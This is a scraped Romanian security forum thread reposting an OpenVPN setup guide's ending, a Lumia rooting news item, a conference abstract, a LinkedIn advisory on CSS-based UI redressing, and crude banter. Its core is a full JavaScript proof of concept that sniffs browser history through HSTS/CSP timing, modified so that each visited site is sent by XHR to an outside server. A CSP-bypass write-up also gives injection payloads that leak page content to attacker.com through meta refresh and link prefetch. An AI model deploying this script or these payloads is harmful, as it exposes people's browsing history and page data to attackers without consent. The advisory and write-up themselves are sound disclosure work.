ca.crt and client.ovpn for all the clients stay exactly the same. These two files should also be downloaded. It should be noted that the ca.crt file is located in a different directory than others. The applications that are used to complete this transfer will solely depend on the choice that you make and the operating system on the device. You want the application to use SFTP (SSH file transfer protocol) or SCP (Secure copy protocol) on the backend. This will be useful as it will copy all the client’s VPN authentication files over an encrypted connection. At the end you must check if the following four files are present on your client device: client1.crt client1.key ovpn crt Step 4 – Creating a Unified OpenVPN Profile for Client Devices There are a number of methods that can be used to manage the client files but the easiest one is using a unified profile. This is done by editing the client.ovpn template file and including in it the server’s CA and the client’s key and certificate. Once all the files are merged in to one then only this single client.ovpn is needed to be imported in the client’s OpenVPN application. What we will do is that we will create a single profile for our client1 device on the computer to which we downloaded all the client files. This computer can itself be either a client or just another temporary work area to merge the authentication files. The client.ovpn template file should be renamed and duplicated. The ‘how you do this’ depends upon the operating system of your local computer. It should be noted that the name of the client.ovpn duplicated file need not be related to the client device. The OpenVPN application on the client-side will use the file name as an identifier for the VPN connection itself. What you should do is that you should duplicate client.ovpn to whatever nametag you want the VPN to be in your operating system. In this article we shall name the connection GeekEasier so GeekEasier.ovpn shall be the file name used from now on. Once it is named then we must open GeekEasier.ovpn in a text editor. You can use whichever text editor you prefer to use. The first area which you need to pay attention to is the IP address of your droplet. Almost near to the top of the file, we need to change my-server-1 to your VPN’s IP. After doing this we need to find the area that is shown below and then uncomment user nobody and user nogroup just like we did before in server.conf in STEP 1. This should be noted that this does not apply to the Windows operating system so you can skip it. It should like down below: The area that is below needs the three lines shown to be commented so that we can instead include the key and certificate directly in the GeekEasier.ovpn file. After you’re done it should look like this: Now we need to merge all the individual files into one single unified file. The contents of the ca.crt, client1.crt, and client1.key are pasted directly into the .ovpn profile using the XML-like syntax. The XML at the end should take this form: Once finished the end of the file should be the same as this abbreviated example: The client1.crt has a bit of extra information in it and it’s totally fine to just add the file. Save the changes that you have made and exit. We now have a unified OpenVPN client profile to configure our client1 with. Step 5 – Installing the Client Profile The thing that needs to be discussed now is how to install a client VPN profile on Android, iOS, OS X, and Windows. All of these client instructions are independent of others so you can skip to whichever one applies to you. This should be remembered that the connection will be called by the same name that you named the .ovpn file. In our example since the file name was GeekEasier.ovpn so the connection will be called GeekEasier. Windows Installing The OpenVPN client application for Windows can be downloaded from OpenVPN’s Downloads page. You have to choose the right version from the website for your Windows. This should be noted that administrative rights are required to install OpenVPN on Windows. After you have installed OpenVPN, copy the unified GeekEasier.ovpn profile to: When you open OpenVPN then it will automatically see the profile and make it available. OpenVPN requires that it be run as an administrator each time it is to be used even by the administrative accounts. Now to save the hassle of having to right-click and selecting Run as administrator every time you use VPN, you can preset this but the condition is that it must be done from an administrator account. This means that standard users need to enter the admin password to use OpenVPN. But if standard users do not have administrative rights then OpenVPN cannot connect to the server properly thus administrative privileges are quite necessary. To set the OpenVPN application to always run as the administrator just right-click on the shortcut icon and go to Properties. At the bottom of the Compatibility tab there will a button saying Change settings for all users, click on it. A new window will open; check the Run this program as an administrator box. Connecting Every time that you launch the OpenVPN GUI, Windows will ask you whether you want this progam to make changes to your computer or not. Click Yes. Executing the OpenVPN client application just puts the applet in the system tray so that the VPN can be connected and disconnected when needed but it does not make a VPN connection per se. Now that you have started OpenVPN, make a connection by moving the cursor down to the system tray applet and then by right-clicking on the applet icon of OpenVPN present there. Doing so will open the context menu. Select GeekEasier from the top of the menu which is basically our GeekEasier.ovpn profile and Connect to it. OSX Installing There is an open source VPN client for Mac OS X known as Tunnelblick. To download the latest disk image of this client just go to Tunnelblick Downloads page. After it has been downloaded, double click on the .dmg file and follow the steps to install. Almost near to the end of the installation process, Tunnelblick will ask you whether you have any configuration files or not. Answering it as No is easier and then it will finish. We have to add the client profiles and to do that we must open a finder window and then double click on GeekEasier.ovpn. To install the client profile we need administrative rights. Connecting Launch the Tunnelblick by double-clicking on Tunnelblick in the Applications folder. Once you have launched Tunnelblick, you will now be able to see a Tunnelblick icon in the menu bar at the top right of the screen that is used for controlling connections. Click on the icon, when the Connect menu opens you need to select the right connection. Select GeekEasierand connect to the VPN. IOS Installing We need to go to the iTunes App Store and search for and install OpenVPN Connect, the official iOS OpenVPN client application. Now we need to transfer our iOS client profile onto the device and to that we must connect the iOS device directly to the computer. Completing the transfer will be outlined here. From the computer open iTunes and click iPhone>apps. To the bottom of the File Sharing section click on the Open VPN app. The window to the right is blank, it is OpenVPN Documents and is used for sharing files. Now drage the .ovpn dile to the OpenVPN documents window. Now all you have to do is launch the app on the iPhone. You will get a notification that a new profile is ready to be imported. Tap the plus sign in green to import it. Connecting Now the OpenVPN app is ready to use with the new profile. The connection can be started by moving/sliding the Connect button to On position. If you want to disconnect it then move/slide the button to Off position. It should be noted that the VPN button in the Settings can never be used to connect to the VPN. If you try to do so, you will get a notice to connect to the OpenVPN app. Android Installing For android all we need to do is that we need to open Google Play Store. Search for Android OpenVPN and install the official Android client application. Copying the .ovpn file is not that hard. All we need to do is that we need to connect out Android device to the computer and then copy the file over to it. Similarly if you have a SD card reader, you can simply remove the memory card from the devoce and copy the .ovpn file onto it and then put the card back into the device. Now you will start the OpenVPN application and go to the menu to import the profile. Then go to the location where the profile has been saved. The screenshot uses the SD card location (/sdcard/download/ ) and from there select the file. The application will note that the profile has been imported. Conecting For connecting to the VPN just tap the Connect button. The application will prompt to ask whether you trust the OpenVPN application. Tap OK to start the connection. If you want to disconnect from the VPN, just go back to the OpenVPN application and choose Disconnect. Step 6 – Testing Your VPN Connection Once you have installed everything, a simple check can be made to tell whether everything is working properly or not. Without enabling a VPN connection, open a browser and go to DNSLeakTest. The website will return you an IP address that is assigned to you by your ISP (Internet Service provider) and also as you seem to the entire world as well. If you want to check your DNS stings from the same website, click on Extended Test and it will tell you which DNS server is being used by you. Now you will connect the OpenVPN client to the Droplet’s VPN and then refresh your browser. Now an IP address should appear that will be completely different from the one that was shown earlier. Now the entire world will recognize you by this IP address. Now again, DNSLeakTest’s Extended Test will check your DNS settings and then later confirm if you are now using the DNS resolvers pushed by your VPN. Congratulations to you! You can now securely traverse the internet protecting your cyber identity, location and traffic from censors and snoopers. Sursa: http://geekeasier.com/set-up-an-openvpn-server-on-ubuntu/3584/

Thanks. Da, e extinsa. Nu se vand/cumpara sau ofera gratuit astfel de lucruri.

Windows Phone Internals 1.0 - primul toolkit pentru root-area telefoanelor Lumia Aurelian Mihai - 26 nov 2015 Prin eforturile unui hacker foarte activ în comunitatea XDA Developer, utilizatorii de telefoane Lumina cu sistem Windows Phone vor putea de acum s?-?i personalizeze versiunea de OS instalat? la fel ca utilizatorii de Android. Astfel, cu Windows Phone Internals 1.0 po?i debloca bootloader-ul implicit de pe telefoanele Lumia ?i aplica procedeul de Root, ob?inând acces la m?runtaiele sistemului de operare ?i chiar posibilitatea de a instala ROM-uri Windows Phone neoficiale, modificând sau extinzând func?ionalitatea de baz? a dispozitivului. Potrivit dezvoltatorului cunoscut dup? pseudonimul Heathcliff, software-ul suport? deja ?majoritatea versiunilor de Windows Phone 8.1 ?i Windows 10 Mobile„. Desigur, ca ?i în cazul procedeului similar folosit pentru modificarea dispozitivelor cu Android, interven?iile aduse de utilizatori pot duce la pierderea garan?iei asigurate de produc?tor, în eventualitatea în care modific?rile f?cute duc la defectarea dispozitivului. Pentru moment, utilitatea kit-ului Windows Phone Internals este limitat?, neexistând înc? ROM-uri Windows Phone personalizate disponibile pentru instalare. Îns? lucrurile se vor schimba cu siguran?? dup? ce membrii comunit??ii XDA vor apuca s? experimenteze cu noul software. Sursa: Windows Phone Internals 1.0 - primul toolkit pentru root-area telefoanelor Lumia Imi plac articolele celor de la go4it.

Nu stiu daca s-a mai postat: https://crowdshield.com/bug-bounty-list.php

Remotely Sniffing Browser History via XSS Using HSTS + CSP This is a PoC/demo and on how to remotely "sniff" user's browsing history via Cross-Site Scripting (XSS) vulnerabilities via HSTS/CSP timing attacks. All credits for the original exploit go to @bcrypt which can be downloaded here:https://github.com/diracdeltas/sniffly. The below source code allows for remote exploitation of clients and remote dumping of positive matches back to a specified web browser. Source code: /** * @<a href="https://rstforums.com/forum/members/file/" target="_blank">file</a>overview This file loads a bunch of HSTS domains and times how long it * takes for them to be redirected from HTTP to HTTPS. Based on that, it * decides whether the domain is a previously-noted HSTS domain or not. * @author yan <yan@mit.edu> * @license MIT * @version 0.2.0 */ // Timing in milliseconds above which a network request probably occurred. // TODO: Determine this dynamically from the distribution of response times. var TIMING_UPPER_THRESHOLD = 5; // Timing in milliseconds below which a request time is probably a measurement // fluke. var TIMING_LOWER_THRESHOLD = -10; // Timing allowance for a synchronous image load, which we use to confirm // positive results in Chrome. var TIMING_CONFIRM_THRESHOLD = 20; // Use an arbitrary static preloaded HSTS host for timing calibration var BENCHMARK_HOST = 'http://torproject.org/'; // Initial timing calibration offset. This gets recalculated every other fetch. var OFFSET = 0; var visitedElem = document.getElementById('visited'); var notVisitedElem = document.getElementById('not_visited'); var disclaimer = document.getElementById('disclaimer'); var isFirefox = (window.navigator.userAgent.indexOf('Firefox') !== -1); var visited = []; // list of hosts that are potentially visited // Edit this based on scraper results. var hosts = ['http://www.npmjs.com/', 'http://savecrypto.org/', 'http://www.xoom.com/', 'http://atom.io/', 'http://angel.co/', 'http://vine.co/', 'http://www.oculus.com/en-us/', 'http://www.hackerrank.com/', 'http://noscript.net/', 'http://www.sixt.com/', 'http://www.crazydomains.com.au/', 'http://www.yola.com/', 'http://www.mailerlite.com/', 'http://giustizia.it/', 'http://notepad-plus-plus.org/', 'http://www.unfranchise.com.tw', 'http://www.ing-diba.de/', 'http://www.adreactor.com/', 'http://meduza.io/', 'http://www.wealthfront.com/', 'http://mail.live.com/default.aspx', 'http://muabannhanh.com/', 'http://upjers.com/', 'http://www.rabobank.nl/', 'http://www.ing.nl/', 'http://www.kickstarter.com/', 'http://creativemarket.com/', 'http://pinterest.com/', 'http://www.ashampoo.com/en/usd', 'http://www.sofort.com/', 'http://www.xing.com/', 'http://podio.com/', 'http://www.servis24.cz/', 'http://www.galeria-kaufhof.de/', 'http://www.kocpc.com.tw/', 'http://www.commbank.com.au/', 'http://recyclix.com/', 'http://www.usajobs.gov/', 'http://briian.com/', 'http://www.vultr.com/', 'http://about.gitlab.com/', 'http://www.tanga.com', 'http://wanelo.com/', 'http://herokuapp.com/', 'http://unsplash.com/', 'http://ria.com/', 'http://www.missguided.co.uk/', 'http://lever.co/', 'http://venmo.com/', 'http://ello.co/', 'http://www.template.net/', 'http://www.digid.nl/', 'http://qiwi.ru/', 'http://www.instacart.com/', 'http://www.touchofmodern.com/', 'http://roadtrippers.com/', 'http://www.freshdesignweb.com/', 'http://www.fnb.co.za', 'http://www.graphicsprings.com/', 'http://www.patreon.com/', 'http://hotwords.com/', 'http://www.cryptsy.com/', 'http://vitalsource.com/', 'http://pass.yandex.ua/', 'http://www.yammer.com/', 'http://ixquick.com/', 'http://sbis.ru/', 'http://www.ecosia.org/', 'http://www.freecycle.org/', 'http://pass.yandex.by/', 'http://www.mailjet.com/', 'http://www.yugster.com/', 'http://tinypng.com/', 'http://nest.com/', 'http://kat.cr/', 'http://www.practo.com/', 'http://c9.io/', 'http://beget.ru/', 'http://startpage.com/', 'http://www.bet-at-home.com/', 'http://tripcase.com/', 'http://www.douglas.de/', 'http://yande.re/post', 'http://www.bookbub.com/', 'http://www.swarmapp.com/', 'http://www.woorank.com/', 'http://paytm.com/', 'http://www.payza.com/', 'http://www.instapaper.com/', 'http://wikitech.wikimedia.org/', 'http://www.ipko.pl/', 'http://www.straighttalk.com/wps/portal/home', 'http://heroku.com/', 'http://www.privat24.ua', 'http://zimbra.free.fr/', 'http://www.blueapron.com/', 'http://secure.logmein.com/', 'http://adblockplus.org/', 'http://www.udemy.com/', 'http://tribalwars2.com/', 'http://sparkfun.com/', 'http://www.sparebank1.no/bank/', 'http://spotify.com/', 'http://creditkarma.com/', 'http://www.paxum.com/payment/phrame.php', 'http://jamberrynails.net/', 'http://fotolia.com/', 'http://stacksocial.com/', 'http://www.cms.gov/', 'http://iconfinder.com/', 'http://www.expireddomains.net/', 'http://navalny.com/', 'http://privatbank.ua/', 'http://www.englishforums.com/', 'http://www.hushmail.com/', 'http://www.pingdom.com/', 'http://www.zomato.com/', 'http://icook.tw/', 'http://www.office.com/', 'http://groupme.com/', 'http://wikimedia.org/', 'http://dapulse.com/', 'http://www.cuelinks.com/', 'http://www.attracta.com/', 'http://www.outlook.com/owa/', 'http://www.dnb.no/', 'http://www.lotterypost.com/', 'http://bitcoin.org/', 'http://href.li/', 'http://skandiabanken.no/', 'http://foursquare.com/', 'http://www.usa.gov/', 'http://www.bitgold.com/', 'http://quizlet.com/', 'http://www.alipay.com', 'http://yadi.sk/', 'http://duckduckgo.com/', 'http://www.dashlane.com/', 'http://www.ozbargain.com.au/', 'http://www.ricardo.ch/', 'http://www.fakku.net/', 'http://www.mturk.com/', 'http://www.national-lottery.co.uk/', 'http://www.onthebeach.co.uk/', 'http://www.icloud.com/', 'http://www.zenefits.com/', 'http://code.org/', 'http://www.chapters.indigo.ca/', 'http://www.dntx.com/', 'http://www.slsp.sk/', 'http://www.raise.com/', 'http://cinematrix.net/', 'http://www.baifubao.com/', 'http://blogun.ru/', 'http://videostripe.com/', 'http://typekit.com/', 'http://www.splitwise.com/', 'http://www.eobot.com', 'http://login.microsoftonline.com/', 'http://www.xero.com/', 'http://www.rakuten-sec.co.jp/', 'http://www.creativecow.net/', 'http://sweb.ru/', 'http://www.seroundtable.com/', 'http://www.hipchat.com/', 'http://subscribe.free.fr/', 'http://topvisor.ru/', 'http://www.avforums.com/', 'http://www.travelodge.co.uk', 'http://opendns.com/', 'http://www.pcloud.com/', 'http://www.akiba-online.com/', 'http://www.instamojo.com/', 'http://www.commsec.com.au/', 'http://assembla.com/', 'http://www.bukalapak.com/', 'http://www.docusign.net/', 'http://www.hotslogs.com/', 'http://www.consorsbank.de/home', 'http://www.searchlock.com/', 'http://madmimi.com/', 'http://www.bawagpsk.com/BAWAGPSK/PK', 'http://www.crunchbase.com/', 'http://www.maketecheasier.com/', 'http://session.wikispaces.com/1/auth/auth', 'http://witkit.com/', 'http://pixabay.com/', 'http://www.mygreatlakes.org/', 'http://ncore.cc/', 'http://www.hpconnected.com/', 'http://payeer.com/', 'http://join.me/', 'http://www.gamefly.com/', 'http://bitcoinwisdom.com/', 'http://land.nrw/', 'http://www.saddahaq.com/', 'http://www.quantcast.com/', 'http://www.behance.net/', 'http://xapo.com/', 'http://fabric.io/', 'http://www.dollarphotoclub.com/', 'http://mandrillapp.com/', 'http://moodle.org/', 'http://imp.free.fr/', 'http://www.pebble.com/', 'http://www.periscope.tv/', 'http://generalassemb.ly/', 'http://login.szn.cz/', 'http://www.lyft.com/', 'http://www.mql5.com/', 'http://www.wrike.com/', 'http://www.fanfiction.net', 'http://www.box.com/', 'http://www.test.de/', 'http://calendar.sunrise.am', 'http://www.djangoproject.com/', 'http://qiwi.com/', 'http://adlure.net/', 'http://www.stitchfix.com/', 'http://www.bankofthewest.com/', 'http://roem.ru/', 'http://www.carthrottle.com/', 'http://pass.yandex.kz/', 'http://gumroad.com/', 'http://www.hosteurope.de/', 'http://www.canva.com/', 'http://www.usbank.com/', 'http://evernote.com/', 'http://secure.actblue.com/', 'http://myspace.com/', 'http://www.jbhifi.com.au', 'http://www.physicsforums.com/', 'http://www.abnamro.nl/nl/index.html', 'http://twittercommunity.com/', 'http://wikileaks.org/', 'http://www.chmail.ir/', 'http://mail.ru', 'http://www.victoriassecret.com/', 'http://www.firstnational.com/', 'http://www.dominos.co.uk/', 'http://www.indiblogger.in/', 'http://www.zendesk.com/', 'http://www.hypovereinsbank.de/', 'http://www.openshift.com/', 'http://buffer.com/', 'http://what.cd/', 'http://hide.me/', 'http://trello.com/', 'http://www.comodo.com/', 'http://twilio.com/', 'http://www.alternate.de/', 'http://telegram.org/', 'http://www.manageengine.com/', 'http://unsw.edu.au/', 'http://www.flipkey.com/', 'http://www.popads.net/', 'http://myworkday.com/', 'http://www.meneame.net/', 'http://popcorntime.io/', 'http://iqoption.com/', 'http://www.tumblr.com/', 'http://www.reddit.com/', 'http://www.petfinder.com/', 'http://www.messenger.com/', 'http://www.digitalpoint.com/', 'http://www.blibli.com/', 'http://namu.wiki/', 'http://launchpad.net/', 'http://www.blognone.com/', 'http://www.ing.be/en/retail/Pages/index.aspx', 'http://acrobat.com/', 'http://mbank.pl/', 'http://www.fasttech.com/', 'http://www.post.ch/de', 'http://gyazo.com/', 'http://packagecontrol.io/', 'http://vimeo.com/', 'http://www.airbnb.es/', 'http://www.airbnb.it/', 'http://www.airbnb.fr/', 'http://www.airbnb.co.kr/', 'http://www.airbnb.de/', 'http://www.airbnb.co.uk/', 'http://www.airbnb.com.au/', 'http://www.airbnb.ca/', 'http://www.airbnb.co.in/', 'http://www.airbnb.com.br/', 'http://www.airbnb.ru/', 'http://www.centrum24.pl/centrum24-web/login', 'http://coursera.org/', 'http://ellislab.com/', 'http://www.udacity.com/', 'http://bitcointalk.org/', 'http://uwaterloo.ca/', 'http://vc.ru/', 'http://tjournal.ru/', 'http://www.biblegateway.com/', 'http://www.themuse.com', 'http://att.yahoo.com/', 'http://www.yahoo.com/', 'http://ficbook.net/', 'http://www.ameriprise.com/', 'http://www.here.com/', 'http://www.rocketlawyer.com/', 'http://exmo.com/', 'http://skladchik.com/', 'http://healthunlocked.com/', 'http://www.upwork.com/', 'http://www.thegioididong.com/', 'http://fermasosedi.ru/', 'http://www.thegrommet.com/', 'http://www.freelancer.com/', 'http://www.freelancer.in/', 'http://klout.com/', 'http://www.veikkaus.fi/', 'http://www.lucidchart.com/', 'http://www.opensuse.org/', 'http://monitorbacklinks.com/', 'http://www.5giay.vn/', 'http://noncombatant.org/', 'http://nonfreesoftware.org/', 'http://hackpad.com/', 'http://meta.discourse.org/', 'http://devinegan.com/', 'http://ongardie.net/', 'http://titanous.com/', 'http://www.funkthat.com', 'http://nelhage.com/', 'http://yawnbox.com/', 'http://rednerd.com', 'http://smbmarketplace.cisco.com/', 'http://www.cloudflare.com/', 'http://letsencrypt.org/', 'http://helloworld.letsencrypt.org/', 'http://hoffman-andrews.com/', 'http://jdkasten.com/', 'http://jhalderm.com/', 'http://jve.linuxwall.info/' ]; /** * Gets hostname from URL. */ function getHost_(url) { return url.replace('http://', '').split(/\/|\?/)[0]; } /** * Our CSP policy (HTTP-only images) causes this to fire whenever the img src * redirects to HTTPS, either by HSTS (307) or plain old redirects (301/302). * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {number} start Time when the image load started * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {string} host The host that fired the error * @<a href="https://rstforums.com/forum/members/private/" target="_blank">private</a> */ function onImgError_(start, host) { var time = new Date().getTime() - start; if (host === BENCHMARK_HOST) { // This is just a calibration measurement so update the offset time. OFFSET = time; } else { // We need to subtract offset, otherwise hosts that are further down on the // page seem to have higher load times because of the time that it took for // the DOM to load. display(host, time - OFFSET, OFFSET); } } /** * Double-check whether hosts have been visited by trying synchronous image * loads, which have cleaner timing profiles. I find this helps reduce the * false positive rate in Chrome. AFAICT, the async image-load sniffing method * works great in Firefox so this isn't necessary there. * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {function(string, number)} callback Gets called when img error fires. * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {function()} finished Called when all loads are done. * @<a href="https://rstforums.com/forum/members/private/" target="_blank">private</a> */ function confirmVisited_(callback, finished) { var initial; // initial time var img = new Image(); var timeouts = []; // array of timeout IDs var hostsDone = []; var dummySrc = 'http://example.com/'; // URL for timer initialization function clearTimeouts_() { // Clear existing timeouts timeouts.forEach(function(id) { window.clearTimeout(id); }); timeouts = []; } function doNext_() { if (visited.length === 0) { finished(); return; } // Shift instead of pop since we are pushing hosts into the array while // this is running var host = visited.shift(); initial = new Date().getTime(); var src = 'http://' + host + '/?' + initial.toString(); img.src = src; // Abort after 20ms since positive results should take less time anyway timeouts.push(window.setTimeout(img.onerror.bind({ src: src}), TIMING_CONFIRM_THRESHOLD)); } img.onerror = function() { if (this.src !== dummySrc) { clearTimeouts_(); var host = getHost_(this.src); if (hostsDone.indexOf(host) !== -1) { // We might have called the callback for this host already. console.log('already done, skipping', host); } else { hostsDone.push(host); callback(host, new Date().getTime() - initial); } } else { console.log('initialized timer using', this.src); } doNext_(); }; img.onload = function() { // Should never happen but add a callback in case so it doesn't block the // rest of the image requests from being sent. console.log('UNEXPECTEDLY LOADED', this.src); doNext_(); }; // Set the image source initially to a dummy URL b/c the first load seems to // always take a long time no matter what. img.src = 'http://example.com/'; } /** * Times how long a request takes by loading it as an img src and waiting for * the error to fire. I would use XHR here but it turns out CORS errors fire * before CSP. * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {string} host */ function timeRequest(host) { var img = new Image(); img.onerror = onImgError_.bind(this, new Date().getTime(), host); // Add random params so we don't hit the cache img.src = host + '?' + Math.random().toString().substring(2); } /** * Measures the calibration drift so we have a better estimate of how long * a resource fetch actually took. Since we expect the time T to fetch a * preloaded STS host to be ~constant, the fact that it changes indicates * that our timing is getting skewed by some amount, probably due to DOM * processing. Correct for the skew by subtracting T from measurements that * happen shortly after. */ function calibrateTime() { timeRequest(BENCHMARK_HOST); } /** * Display the results. * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {string} url * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {number} time * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {number} offset */ function display(url, time, offset) { var li = document.createElement('li'); var host = getHost_(url); li.id = host; li.appendChild(document.createTextNode(host)); if (time < TIMING_UPPER_THRESHOLD && time > TIMING_LOWER_THRESHOLD) { if (!isFirefox) { // If we are in Chrome, hide the results for now because the false // positive rate is really high until confirmVisited_() is called. li.style.color = 'lightgray'; } visitedElem.appendChild(li); visited.push(host); // +--== [ Remote Exploit by 1N3 @ CrowdShield - [URL]https://crowdshield.com[/URL] // Change url= to your own web server. var uri_visited = host; var uri = "http://xerosecurity.com/?redir=" + host; var port = 80; xhr = new XMLHttpRequest(); xhr.open("GET", uri + ":" + port, true); xhr.send(); } else { notVisitedElem.appendChild(li); } } if (!isFirefox) { // Chrome needs to do an extra timing confirmation step for results to be not // shitty. Wait 3 seconds for the async loads to mostly finish, then try one // synchrous load for each potentially-visited host. disclaimer.style.display = ''; window.setTimeout(function() { confirmVisited_(function(host, t) { if (!disclaimer.done_) { disclaimer.style.color = 'orange'; disclaimer.innerText = 'Removing false positives . . .'; disclaimer.done_ = true; } var elem = document.getElementById(host); if (!elem) { console.warn('No element found', host); return; } if (t <= TIMING_CONFIRM_THRESHOLD / 2) { console.log('showing', host, t); elem.style.color = ''; } else { console.log('hiding', host, t); elem.style.display = 'none'; notVisitedElem.appendChild(elem); } }, function() { disclaimer.style.color = 'green'; disclaimer.innerText = 'Done!'; saveCrypto_(!notVisitedElem.querySelector('#savecr ypto\\.org')); }); }, 3000); } else { window.setTimeout(function() { saveCrypto_(visitedElem.querySelector('#savecrypto \\.org')); }, 3000); } /** * Tell the user to sign this awesome petition if they haven't visited it! * Thank them if they have! * @<a href="https://rstforums.com/forum/members/param/" target="_blank">param</a> {Boolean} signed * @<a href="https://rstforums.com/forum/members/private/" target="_blank">private</a> */ function saveCrypto_(signed) { var text = signed ? 'PS: Thanks for signing <a href="https://savecrypto.org">savecrypto.org</a>! <3' : 'PS: Tell Obama to support strong encryption! Sign the petition at <a href="https://savecrypto.org">savecrypto.org</a>.'; disclaimer.style.display = ''; disclaimer.style.color = 'blue'; disclaimer.innerHTML = text; } // Main loop hosts.forEach(function(host) { calibrateTime(); timeRequest(host); }); Published by CrowdShield on 11/26/2015 Sursa: https://crowdshield.com/blog.php?name=remotely-sniffing-browser-history-via-xss-using-hsts-csp

HITBGSEC 2015 - Dawid Czagan - Hacking Cookies in Modern Web Applications and Browsers PRESENTATION MATERIALS: Index of /materials/sg2015 PRESENTATION ABSTRACT: Since cookies store sensitive data (session ID, CSRF token, etc.) they are interesting from attacker’s point of view. As it turns out, quite many web applications (including sensitive ones like bitcoin platforms) have cookie related vulnerabilities that lead for example to user impersonation, remote cookie tampering, XSS and more. Developers tend to forget that multi-factor authentication will not help when cookies are insecurely processed. Security evaluators underestimate cookie related problems. Moreover, there are problems with secure processing of cookies in modern browsers and browser dependent exploitation can be used to launch more powerful attacks. That’s why secure cookie processing (from the perspective of web application and browser) is a subject worth discussing. The following topics will be presented: – cookie related vulnerabilities in web applications – insecure processing of secure flag in modern browsers – bypassing HttpOnly flag in Safari – problem with Domain attribute in Internet Explorer – cookie tampering in Safari – underestimated XSS via cookie – HTTP Strict Transport Security (HSTS) – importance of regeneration – and more ABOUT DAWID CZAGAN Dawid Czagan (@dawidczagan) has found security vulnerabilities in Google, Yahoo, Mozilla, Microsoft, Twitter, BlackBerry and other companies. Due to the severity of many bugs, he received numerous awards for his findings. Dawid is founder and CEO at Silesia Security Lab, which delivers specialized security auditing and training services. He also works as Security Architect at Future Processing. Dawid shares his security bug hunting experience in his hands-on training “Hacking web applications – case studies of award-winning bugs in Google, Yahoo, Mozilla and more”. He delivered security trainings/workshops at Hack In The Box (Amsterdam), CanSecWest (Vancouver), DeepSec (Vienna), Hack In Paris (Paris) and for many private companies. He also spoke at Security Seminar Series (University of Cambridge) and published over 20 security articles (InfoSec Institute).

(the injected part is "><meta http-equiv="refresh" content='0;url=http://attacker.com/?>) Since browsers can handle only 1 redirection, they have to pick up only 1 among the three. Some browsers use the first one and some use the last one, but never the middle one. That is troublesome because we only care about the middle one. Now think about it: does CSP really cover all the possible ways to fetch resources? Another no. HTTPLeaks is a project that aims to enumerate all possible ways browsers leak requests. They can be something specific to browsers, features that defined by new specifications and whatnot. The most important thing is some of them will not be caught by CSP. In the attack I used prefetch from Resource Hints. Finally We just need to prevent the intended redirection so that our prefetch request will not be dropped. This can be done using javascript: pseudo protocol as browsers refuse to navigate to it in meta refresh. Now everything is set, and the final payload: javascript:"><link rel=prefetch href='//attacker.com/? ...Hooray! Access granted. CSP: 0.5 - Attacker 2.5. Fatality. You can find the original report from HackerOne. Takeaway A proper policy can significantly reduce the chance of XSS Beware of the nonce pitfall Content Exfiltration may be Achilles' Heel of CSP All in all, CSP does not replace input validation Sursa: http://blog.innerht.ml/csp-2015/

November 23, 2015 Abusing CSS Selectors to Perform UI Redressing Attacks Jovon Itwaru Information Security Engineer Introduction Earlier this year, we received an interesting security advisory from Ruben van Vreeland of BitSensorregarding an issue discovered within our publishing platform. The technique Ruben described is unique and exemplifies the creativity needed to produce high-quality research. We analyzed his report and resolved the vulnerability. While we typically do not talk about bugs that we receive, the lesson learned and the uniqueness of this issue is worth sharing. In this blog post, we will describe Ruben’s novel attack that allows attackers to use existing CSS and style attributes to trick members into navigating to an attacker-controlled location, leading to potential social engineering and phishing attacks. Description As part of our publishing platform, we allow members to customize the look and feel and even share rich media content on their blog articles. This involves styling content with CSS, formatting with a subset of HTML elements, and also sharing audio/video resources. To mitigate certain classes of vulnerabilities such as XSS, a limited set of HTML tags (e.g. <img>, <a>, <p> and <br>) and safe attributes are allowed. Let’s dive into a simplified example that illustrates this technique. For instance, to create a blog entry, the following JSON request can be used to generate a new HTML page with an image tag and URL link. json{"content": "<p><a href=\"http://www.linkedin.com\">LinkedIn</a><img src=\"linkedin.png\"/></p>"} Resulting HTML page Rigorous input validation is performed on these elements to ensure attackers cannot introduce attribute or event handlers that would be used to construct XSS attacks. In some scenarios, it is possible to introduce benign attributes such as class that will not be flagged by the input validation filter. While this would not be a vulnerability by itself, Ruben realized that it can be used to reference existing CSS hosted on our site. Considering the extent of the platform, we have many CSS classes that are available on our CDNs and consumed by other products. For example, the following CSS styles are applied to the response page that renders blog entries: css<style> .li_style { position: absolute; width: 100%; z-index: 10021; position: fixed; top: 0; left: 0; width: 100%; height: 100%; padding: 0; overflow-y: scroll; _overflow-y: hidden } </style> This type of style is a common way to force an element to stretch the entire height and width of a page. With knowledge of this available CSS style, we can resubmit the request and reference this style: json{"content": "<p><a class=\"li_style\" href=\"http://www.example.com\">Example Site</a><img src=\"image.png\"/></p>"} The li_style covers the entire page. This, in turn, allows the page area to become clickable with a link to Example Domain. Impact and Recommendation As illustrated, an attacker can reuse trusted CSS class selectors to perform UI changes that are invisible to members. We believe that this attack is applicable to many sites, as many allow members to create and share rich media content. This is an interesting technique that uses existing resources to facilitate UI-redressing attacks by chaining together CSS class selectors, and has similarities to Return Oriented Programming (ROP). This technique can be used to send members to sites hosting malware or counterfeit sites that attempt to phish members by requesting their usernames and passwords. This is especially successful on social sites that share blogs or articles. As such, our recommendation is to only accept safe elements and attributes. For example, if theclass attribute is not allowed, reject any request that contains this. Additionally, whitelist filtering should be applied to CSS class selectors to permit necessary styles. We would like to thank Ruben for reporting this issue and help keeping our members safe. Thanks to his excellent work and communication with our team, Ruben was invited to join our private bug bounty program, hosted by HackerOne. This is one of many examples of the collaborations we experience with the talented researchers in our program. If you have a bug you would like considered, please submit to security@linkedin.com. Sursa: https://security.linkedin.com/blog-archive#11232015

Acum, serios vorbind, pseudo-junalistii din ziua de azi sug pula.

"ATENTIE de transmis URGENT Dac? ave?i un apel telefonic ?i pe mobil se afi?eaz? „A C E” nu r?spunde?i; anula?i apelul. Este un virus care distruge cartela SIM ?i distruge mobilul. Aceasta a fost confirmata de Motorola, Sagem si Nokia." WTF is this shit? De la comentarii: https://sternocleidomastoidian.wordpress.com/2010/04/14/informare-a-ministerului-de-interne/

E pe bune, am luat eu root pe laser.